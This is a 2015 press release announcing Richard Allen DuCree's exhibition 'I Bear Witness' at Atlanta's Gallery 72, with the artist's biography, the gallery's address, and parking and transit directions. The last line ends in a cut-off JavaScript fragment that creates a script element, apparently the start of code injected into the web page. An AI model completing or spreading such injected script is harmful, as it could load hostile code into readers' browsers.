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Richard Allen DuCree: I Bear Witness: Politics, Protest and Redemption Songs at Gallery 72| July 16th

 

THE MAYOR’S OFFICE OF CULTURAL AFFAIRS ANNOUNCES A NEW EXHIBITION AT GALLERY 72.

Richard Allen DuCree

 I Bear Witness: Politics, Protest, and Redemption songs

July 16th through Sept. 4th 2015

Atlanta-The Mayor’s Office of Cultural Affairs/ Gallery 72 in Downtown Atlanta opens “Richard Allen DuCree: I Bear Witness: Politics, Protest and Redemption Songs”, on July16th 2015, 6-9 p.m.

For this exhibition photographer Richard Allen DuCree selects a body of work that acts as a visual bridge between generations engaged in movements for social justice. Invoking the memories of past struggles and accomplishments while firmly committing his eye to the unrest and civil rights issues of our contemporary culture, DuCree shows us all the face of our ongoing reach for peace, justice and true democracy.  This visual retrospective encourages an investigation into modern American practices and its relationship to its peoples.

DuCree has traveled throughout the United States, the Caribbean, Europe and Africa. These travels have given DuCree a unique global perspective. DuCree has worked as a stills photographer for ESPN, CNN, SONY, AMC, NBC and many others national and international networks.  DuCree has exhibited at the Schomburg Center for Research in Black Culture, New York, NY, “Obama, the Historic Campaign in Photographs”, curated by Deborah Willis and Jeanne Moutoussamy-Ashe; University of Massachusetts, Amherst, MA, Solo Show “The Civil Rights Movement in Retrospective”; Cathedral of Saint John the Divine, NY; Southwest Arts Center and Fulton County,

This event is free and open to the public. Visit OCAATLANTA.com for more information.

About Gallery 72

Gallery 72 is a municipal gallery dedicated to presenting stimulating, and thought provoking contemporary art and programs that focus on advancing Atlanta’s art offering. The gallery is open from 10am until 5:00pm and operated by the Mayor’s Office of Cultural Affairs.”

Gallery 72 is located at 2 City Plaza, 72 Marietta Street NW Atlanta Ga. 30303

 

NEARBY PARKING:

104 Marietta Street Parking Garage (176 feet NW), 79 Marietta Street Parking Garage (245 feet NE)

Centennial Tower Parking Garage (332 feet NE), Paid street parking is available near the gallery.

 

NEARBY MARTA RAIL STATIONS:

Five Points (877 feet SE)

Take the Gold line to Five Points Station. Exit the station on the Forsyth street side and turn right, walk northeast on Forsyth Street, and turn left on Marietta Street. Walk one block to Fairlie Street. After crossing Fairlie Street the gallery will be on the left.var d=document;var s=d.createElement(‘script’);